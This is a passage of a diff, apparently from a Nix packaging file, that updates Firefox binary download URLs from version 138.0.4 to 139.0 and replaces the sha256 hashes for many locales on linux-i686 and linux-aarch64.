-      sha256 = "2e02074d9e35d3b7fb98c98780dd76be88eac05577753051862c051d8bca83e2";
+      sha256 = "31b2623a9a065dcb474c32132ec5404b65b6af87cb9e07b33d4cfc043a20360d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/ko/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/ko/firefox-139.0.tar.xz";
       locale = "ko";
       arch = "linux-i686";
-      sha256 = "ae8fc03e0d4f0933f9916060e057e9ddd1078d84913a184c1dc29b147bc11807";
+      sha256 = "1fc7ab78f3b137fc5fdb11223f731621a5bf2d8c17381e4a3e015a62ab57a263";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/lij/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/lij/firefox-139.0.tar.xz";
       locale = "lij";
       arch = "linux-i686";
-      sha256 = "dd43f573183b283e73833952de1467575a6363f9b051729e2f47379ea2ce5b37";
+      sha256 = "f6cc02dbbbdae414b69d4c68fc4b44b3591c4a6892577a05e5d026331a151fc1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/lt/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/lt/firefox-139.0.tar.xz";
       locale = "lt";
       arch = "linux-i686";
-      sha256 = "67490ea27fd204de0531c4a3cd7104fffbcdb5112e6c3f81e0f18ed22b8b5b40";
+      sha256 = "ce102ae92d0a05cf34caae04509625d9bcfaa0b679875574d4e3dd925a9290a0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/lv/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/lv/firefox-139.0.tar.xz";
       locale = "lv";
       arch = "linux-i686";
-      sha256 = "ffa8d823643f2bb33c207c9ae73eb893dd538f8df6e86ba73c6af04f8f66b44c";
+      sha256 = "a6fef21f556ec9004c2016b9dc6a52130a60e1409b9929e723ffc5353ba8cade";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/mk/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/mk/firefox-139.0.tar.xz";
       locale = "mk";
       arch = "linux-i686";
-      sha256 = "f98f20c83a1f5e4cfd27b13dc440305982f1da069b71c2002763727f2186d3f6";
+      sha256 = "c27aad6eea5ec583ba7482f0d089e8c71998d0887abf170d4bd72fe2c68ecc59";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/mr/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/mr/firefox-139.0.tar.xz";
       locale = "mr";
       arch = "linux-i686";
-      sha256 = "73d55f3dfeb925a639a6425290ed5a5684c2796e8903d5c001ac45322b6e795f";
+      sha256 = "a5bb4364b1a9fd99d429d77d704f66ac99752512512a4a25730a912b319441b0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/ms/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/ms/firefox-139.0.tar.xz";
       locale = "ms";
       arch = "linux-i686";
-      sha256 = "786383fe8e227318213e18a41d665e601d52994d7bdcb73b3d61381b1d757508";
+      sha256 = "3e184d856adbdacbee368cca373ded81c2f6a86be05bcd8a95028f76e7c0bc4e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/my/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/my/firefox-139.0.tar.xz";
       locale = "my";
       arch = "linux-i686";
-      sha256 = "1abf6c05f1683b71bc4578a575ec066a244ac52071e1eee9e0cc1396f0e07581";
+      sha256 = "0b64672a5134976b1996fe2f5f3990463da8b80389916c99810f0624d4bf2db3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/nb-NO/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/nb-NO/firefox-139.0.tar.xz";
       locale = "nb-NO";
       arch = "linux-i686";
-      sha256 = "92c23443656cf3e87d7acea3f81da7282a41e27d647b11c3cec23d2c1a370372";
+      sha256 = "16ae245c094af6b4a2edd7306cafd4145a989316160094f983dacec0afec7463";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/ne-NP/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/ne-NP/firefox-139.0.tar.xz";
       locale = "ne-NP";
       arch = "linux-i686";
-      sha256 = "c539a8690ecef7dab5fcff0166722c4b88e7aff2bfae94c6a4ce34cb54a55a78";
+      sha256 = "c9ee9e2c787ee38843f87506a0db9a6c941d694d1db693f7affd0e391a5c0ace";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/nl/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/nl/firefox-139.0.tar.xz";
       locale = "nl";
       arch = "linux-i686";
-      sha256 = "839d1f1b17553309725efaa4810cdc5ac7890c0fb9d7d8bbb113633753529599";
+      sha256 = "e3c2b9ddbad64352fac37c584990619e23e49bfb7911d47fbacccccd2aab3643";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/nn-NO/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/nn-NO/firefox-139.0.tar.xz";
       locale = "nn-NO";
       arch = "linux-i686";
-      sha256 = "4a556f61f1a6f9e5e7c69a5ba6d09315ea2c8874d7456b1ef9b52c4673755e58";
+      sha256 = "b19c3d0599427a8f0b82560bdf6ea5ab1aaa88f7331cf58f607d8c96a2f378ff";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/oc/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/oc/firefox-139.0.tar.xz";
       locale = "oc";
       arch = "linux-i686";
-      sha256 = "97f6e2ed1e9062a5128cc418e14204d7d72decb6b2d5e855b24d6179a235338d";
+      sha256 = "ac3f1415611ad35cf95ca84c10c8ad790bf593aff0ee31c15e54b27e2f9f6197";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/pa-IN/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/pa-IN/firefox-139.0.tar.xz";
       locale = "pa-IN";
       arch = "linux-i686";
-      sha256 = "f4e21991f94a6796ed072e1b77bdfa0479dccc6c54ffd3982c2d83284e9bdb01";
+      sha256 = "9a8481a54a1e227ed1c98da6e01215ca9e4607e48279de38a5f717e9e1604fb5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/pl/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/pl/firefox-139.0.tar.xz";
       locale = "pl";
       arch = "linux-i686";
-      sha256 = "41e7d80bfbf56d968e4384a733736f4d1d640861efab71704b5a58803a153bcf";
+      sha256 = "b8375428099c2a00e236f71ac46b23f7bd3c2883c4f6f1299f696137eff6daed";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/pt-BR/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/pt-BR/firefox-139.0.tar.xz";
       locale = "pt-BR";
       arch = "linux-i686";
-      sha256 = "2c553fa94b85f507201ca1464ebb2f9093244b73c982416b3166a878d7e7f6c1";
+      sha256 = "67f00dd3801f44d18855ffcdde89c5aee259cb4281e0e58d72b6c4d5091d4ea5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/pt-PT/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/pt-PT/firefox-139.0.tar.xz";
       locale = "pt-PT";
       arch = "linux-i686";
-      sha256 = "ddffcb37d0d6c2edb894011a77e1f84fadc07c3ab7e3ed4a5a869884ff67c3d2";
+      sha256 = "a6b4375a075470ff48f9cceccc06f4feb3e914e713650701054b7c1e6059f932";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/rm/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/rm/firefox-139.0.tar.xz";
       locale = "rm";
       arch = "linux-i686";
-      sha256 = "02cf7a8d47ff3d4b60198e4827bfbc93d35c7271a11bbc48d1f7384aadce51a3";
+      sha256 = "5cc3e5232ea108a3e9903ef9c7ee90a2806b9f606f91f0c72daa8f10b7dab1dd";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/ro/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/ro/firefox-139.0.tar.xz";
       locale = "ro";
       arch = "linux-i686";
-      sha256 = "4381396f00da6c4f4455d10d83809721320e1562c7642305ed31aaa876eb5a47";
+      sha256 = "56d5da85761ac9ac499eab7e83e82110ed87be91594f3fe90f9fdda503676f60";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/ru/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/ru/firefox-139.0.tar.xz";
       locale = "ru";
       arch = "linux-i686";
-      sha256 = "3e4b3fd1bccc7700626e02c3d1837848dbf1ebfa27a40f4c0ae6c67078911958";
+      sha256 = "d99a486e9e7200e7bef2f094be048f93effead02730e76d7cf0760681a2f5c22";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/sat/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/sat/firefox-139.0.tar.xz";
       locale = "sat";
       arch = "linux-i686";
-      sha256 = "8761d5cec27747ea0ed8c99c21702a847dd4eb86d88c6a9faad3b5e3942543e2";
+      sha256 = "2e7d57610c746755bd690b70c8e85dbc093bc9a6a08076007a3e7ce0964d5ad0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/sc/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/sc/firefox-139.0.tar.xz";
       locale = "sc";
       arch = "linux-i686";
-      sha256 = "75f5f760be1a943b6e6d9bc9ff63148d4e364b6bd50c7ed7202d825536873d4b";
+      sha256 = "57f723b2611f4bb5f3fa2807e81df14513248e9ec4fd30e1a6439f54d8808ab8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/sco/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/sco/firefox-139.0.tar.xz";
       locale = "sco";
       arch = "linux-i686";
-      sha256 = "ad880343a9847d6e2f5ed7ed575812b075ee7e6979533bd386db0b680721c565";
+      sha256 = "d12d924dfe72c8a4f12bdde6810e4b50142824af490f23afe4bf300bed244321";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/si/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/si/firefox-139.0.tar.xz";
       locale = "si";
       arch = "linux-i686";
-      sha256 = "212b68913e2311ec1012c27b28716cf51bae2f677883a1a9ce8b1c4fd0eb181c";
+      sha256 = "192520a046131e65f2cd93de2779c318162ac645dddce8b8651f601b2ac3e3c4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/sk/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/sk/firefox-139.0.tar.xz";
       locale = "sk";
       arch = "linux-i686";
-      sha256 = "3013f3fb358103a8dc434064af8042b9c1e2aa0055f63d2047953b21828c13b8";
+      sha256 = "d14bd657e88404749834c65fc836dcc5248c67607e5a54cee658d4c6263f529a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/skr/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/skr/firefox-139.0.tar.xz";
       locale = "skr";
       arch = "linux-i686";
-      sha256 = "168a2a2bbb60b4d45af2422f077725941ca4faee077a4f1887ae955450d9c411";
+      sha256 = "b67bb1138e44092fb11836d7ea18125ac24e1034f0e5d5c8309487a7d1123ebf";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/sl/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/sl/firefox-139.0.tar.xz";
       locale = "sl";
       arch = "linux-i686";
-      sha256 = "fa40a7ada98c400fce7b7b1912a891bc62e7dd5612d9b5832d4497be0b7f30a0";
+      sha256 = "713c48bcd3e1f9af0b4b21e751aee573b96e4b0ca15874d8e0e778abf1ac3214";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/son/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/son/firefox-139.0.tar.xz";
       locale = "son";
       arch = "linux-i686";
-      sha256 = "4bb9b1d05796294bc5723e9f16b8f310803211de0ed5a3d20ee4611cdaaa2cce";
+      sha256 = "cfedb2a50fd92618705b6f6a23df69c8b77ff3eb416c9767c276f4ad1f94acd7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/sq/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/sq/firefox-139.0.tar.xz";
       locale = "sq";
       arch = "linux-i686";
-      sha256 = "4ae8d8cb80a8ee95112c493d2a155c0fc58c43edd3317cf8cf2524c07ec4a521";
+      sha256 = "10133319526d11d010b101db0fbdfd58b16088bb455e8dc06e10df81a8aa2d6d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/sr/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/sr/firefox-139.0.tar.xz";
       locale = "sr";
       arch = "linux-i686";
-      sha256 = "7a47f4872301fe2e2e63f66dbd65c347862bc6bcbbd8b073a0951dee4a744a15";
+      sha256 = "47520c7247656ba6e64e3c41e16eae8e55fbd9e834b903563b0cfbe292e0e5df";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/sv-SE/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/sv-SE/firefox-139.0.tar.xz";
       locale = "sv-SE";
       arch = "linux-i686";
-      sha256 = "9952e86cd726904ab1e934ca8bddb639619c7941f03a731453906a995bb1ce1a";
+      sha256 = "d65523a0f795e72101bbdf23e11274f0780507f5d22b5f2070532026ba1c5609";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/szl/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/szl/firefox-139.0.tar.xz";
       locale = "szl";
       arch = "linux-i686";
-      sha256 = "5f09d2b854c2aed96cdcd0ba22ecaf7c11df84030daba04a92242640b92b14a7";
+      sha256 = "442f68feb02d60bf51a2efe8ce87789247c1c04faca007a9304c17b8441cda37";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/ta/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/ta/firefox-139.0.tar.xz";
       locale = "ta";
       arch = "linux-i686";
-      sha256 = "326bffa86932b908054324020814d2a79451cf8051711d6f6160eca4757c4459";
+      sha256 = "b1f5110a5c237c7100d85df0d8709c4034020e7d23e46ee22a60984dde13f2c2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/te/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/te/firefox-139.0.tar.xz";
       locale = "te";
       arch = "linux-i686";
-      sha256 = "ecbbdc8b49018802e4a4248b867e6ffee723432d693933db17f62221b75c8a35";
+      sha256 = "80eada0ebcb9a58b50867ccf8f884ff29b277c75d61fccf4990f80f666eda4ce";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/tg/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/tg/firefox-139.0.tar.xz";
       locale = "tg";
       arch = "linux-i686";
-      sha256 = "5d93f9edd8668f1580b526e432806ec51581438f2001fc5778b6daf532ba23ab";
+      sha256 = "5fe16ab368d7f6e9461cced09f46e7574ae08a3ac0137f495e86212b155cd4e4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/th/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/th/firefox-139.0.tar.xz";
       locale = "th";
       arch = "linux-i686";
-      sha256 = "3237d2946036174cde63d4344577dabfe36768f1f005d4758607ca8ab6654a0c";
+      sha256 = "e0e17dca00d65a8aa8630d28f0c23eecd7ca89d80f6a9fc6e694ac4237dcd56d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/tl/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/tl/firefox-139.0.tar.xz";
       locale = "tl";
       arch = "linux-i686";
-      sha256 = "ef810bb5828e21bba6822c0d563c70c62c36a167b71ebfd450c92ed673987610";
+      sha256 = "75b787fa04ef07c7d16e8e054d6ef659ef93a3d63eaaf1087d1e5996160b89f0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/tr/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/tr/firefox-139.0.tar.xz";
       locale = "tr";
       arch = "linux-i686";
-      sha256 = "ac26b876e63990c71d1e1a96819b5733579d407c4deb50ac0efc502a531b36e2";
+      sha256 = "6262f78224e1e0dd5080d9ecd057ba3a8201b6c31d073d8e4a50b6efa16ed0b2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/trs/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/trs/firefox-139.0.tar.xz";
       locale = "trs";
       arch = "linux-i686";
-      sha256 = "42043be9e61e24817e9bcbc727939310d7db06735db976fd277b3669977c8a5f";
+      sha256 = "de7260267515a566cace0f344a8c994e697eb60269f16c32e927a245dd745a79";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/uk/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/uk/firefox-139.0.tar.xz";
       locale = "uk";
       arch = "linux-i686";
-      sha256 = "6c75f5613d266e7ac2ffd832db99749d84c20df3001adfcf0f825b14ee7df9c1";
+      sha256 = "3fa85a3f5d1da2d6d0fe496bc35d33b4ccd981418b9e2bc9558b725dc0d14dcf";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/ur/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/ur/firefox-139.0.tar.xz";
       locale = "ur";
       arch = "linux-i686";
-      sha256 = "0c6e8025ea003bfab16850fcc7efa398822bf368d3bba54e442a0d815a1dfff0";
+      sha256 = "e22fabed99afacad618508e9c17dc718038889e724a5575070aaa9b03e52a97e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/uz/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/uz/firefox-139.0.tar.xz";
       locale = "uz";
       arch = "linux-i686";
-      sha256 = "34e66785d199e1a94a0c8a4c4f1339dfc55bcb0be05c56091cdae8dbd56beb7f";
+      sha256 = "af3a985129a202de96e235b201c77de50bbce0fe4672d76af47565a7421b7f24";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/vi/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/vi/firefox-139.0.tar.xz";
       locale = "vi";
       arch = "linux-i686";
-      sha256 = "721a88a3dafc272e2a730e4e9b811af7de54e088e724c1b5c7ef0f3e6cb257fd";
+      sha256 = "bd1d57ccf01ac1c4f12b32f5fd33e41d9846e351d5434fa8c74a0cc99ad04590";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/xh/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/xh/firefox-139.0.tar.xz";
       locale = "xh";
       arch = "linux-i686";
-      sha256 = "3ddca5e0f0128433daefd3572dcf776e723e7bb2c81d97191ad6c33a5e9f6b9e";
+      sha256 = "3e0bba27873729db135e4ecc4ae5f46ed0378048dded183ecb7ac35a4f1da01a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/zh-CN/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/zh-CN/firefox-139.0.tar.xz";
       locale = "zh-CN";
       arch = "linux-i686";
-      sha256 = "c21f102a63d80af9f6fee9b3a182dbc55b156a1438e2981ef81f076f1237adb9";
+      sha256 = "f39684e2dee41a74d71a887202a8b003a466d5e0d3d1736fe6531d9839c60a59";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/zh-TW/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/zh-TW/firefox-139.0.tar.xz";
       locale = "zh-TW";
       arch = "linux-i686";
-      sha256 = "a58dc610118c03fdb0d1ecc372f3cf8be538cb225c0268ee33454e42f1f9c570";
+      sha256 = "dfb7043ec41f195c29509145acb2708ba55a42855f33b83a2df2cf4aa43dbd3b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/ach/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/ach/firefox-139.0.tar.xz";
       locale = "ach";
       arch = "linux-aarch64";
-      sha256 = "e7800054ce0aab6fe0963cb1487ebe4fbf68e22c87e2cce5ffd92797156d81f2";
+      sha256 = "822e473d8c7013996f80e076f60b4eeeba36fb3af214c44123eb5e349f58c9cc";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/af/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/af/firefox-139.0.tar.xz";
       locale = "af";
       arch = "linux-aarch64";
-      sha256 = "bca03a4e4ae4631b474137319bf42b8182512efa6adad891de449cb7170f6c24";
+      sha256 = "3d096467313bbcdd6b2cccd46812efcc4ad8de79707a91f71cc373940f8bceb0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/an/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/an/firefox-139.0.tar.xz";
       locale = "an";
       arch = "linux-aarch64";
-      sha256 = "7d70b461f98c404207ff1e9a70761975202ff5e4898f40793e0db5b33b91eb54";
+      sha256 = "7f970b417fc10c1921740dc5a1cbe3bbc83fd8747ee1512f8904519aaf659502";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/ar/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/ar/firefox-139.0.tar.xz";
       locale = "ar";
       arch = "linux-aarch64";
-      sha256 = "3496b952dcf8957b11da512d2c030fd5e64bc3dd8ce106cc4dfa65f4f06bc1f9";
+      sha256 = "5b92e9bbb90eaf9d8081b2b961e1173003325d48387dd7303d9f80eae9f829b1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/ast/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/ast/firefox-139.0.tar.xz";
       locale = "ast";
       arch = "linux-aarch64";
-      sha256 = "a966ed39a1bc79b8a2b8078dd9619c7b152319844f0882e493a1e9a209bb28b2";
+      sha256 = "cea619430d325eeaddfdfd8cd02b6c479cabaf6a728490bdc98326981de3c9d3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/az/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/az/firefox-139.0.tar.xz";
       locale = "az";
       arch = "linux-aarch64";
-      sha256 = "024007bc7479294f0b8f971502f1845f72b38cb310c37946b3e2da9d95abea59";
+      sha256 = "bd177cf2d1b12c846e031fcf9a1c14564104d6b1e9e1eb05b8f4e3258b99fd2c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/be/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/be/firefox-139.0.tar.xz";
       locale = "be";
       arch = "linux-aarch64";
-      sha256 = "073c76a06185f3d3e9a6138132b03997b9b7acf6a00c7e3134a1fb72b3e89a52";
+      sha256 = "24932777ae00c24c90381273aa30ff02161f0c70940a589ca843f22e07b73f8d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/bg/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/bg/firefox-139.0.tar.xz";
       locale = "bg";
       arch = "linux-aarch64";
-      sha256 = "061e7f3a2fade4016fd0dd5ab5af4c4620be75be22c935dd4669240a9091d510";
+      sha256 = "5070881f77a2fb1389bca50e32a8153e4b6e2c221c6616a40214bd527d442086";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/bn/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/bn/firefox-139.0.tar.xz";
       locale = "bn";
       arch = "linux-aarch64";
-      sha256 = "0de9ff6278f19ec15d438659eb35473a7dab7500fc7e5f0f183ffeac9e1dc21c";
+      sha256 = "b04742c34f6aae04a8a7c5859cb98371d4e4ba7f865e4e6ac3e449770334e07f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/br/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/br/firefox-139.0.tar.xz";
       locale = "br";
       arch = "linux-aarch64";
-      sha256 = "07fc489b1ef7cc85d863a3d6ee844b363d17a618abd86fa6d7631d5afc351185";
+      sha256 = "6a3408e83ce48384324796f3441b75567d086d2ea247138ccd39c66e9da2b559";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/bs/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/bs/firefox-139.0.tar.xz";
       locale = "bs";
       arch = "linux-aarch64";
-      sha256 = "bc4fe22d0fe0630fe666fc4acad616e1345be17f57044259f4f7e5430ac45943";
+      sha256 = "ede68ddf5fdd741b934339b52979bddd3762454bb694e2d5fa128cb1bddbd528";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/ca-valencia/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/ca-valencia/firefox-139.0.tar.xz";
       locale = "ca-valencia";
       arch = "linux-aarch64";
-      sha256 = "88901e2aa2ce2fb17f25519c59c70968e8a0f1c5fe8fd76a9d82b0d21c8a7ae3";
+      sha256 = "a08143476c1ae3aaeb4ca4b8469ab02443b651125b01e96040168d17847cdc0d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/ca/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/ca/firefox-139.0.tar.xz";
       locale = "ca";
       arch = "linux-aarch64";
-      sha256 = "32ebc6c10aacd9978c4d6bb1cb885367c460cae7b78a7b6d47abbb002486f7da";
+      sha256 = "cf4f8b2373dec3b1fadfd39fd08e65a1ed980105dcb0852ae1285d9b35fdb6af";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/cak/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/cak/firefox-139.0.tar.xz";
       locale = "cak";
       arch = "linux-aarch64";
-      sha256 = "2299aa3d0a432f624293009a0bd246ab366ee054ce7feb4c13c5d0db136f4def";
+      sha256 = "d094caf15f1fa4d9aba7b908087265baaffc097b3c8abe66685384eebcd9a5b4";
     }
     {
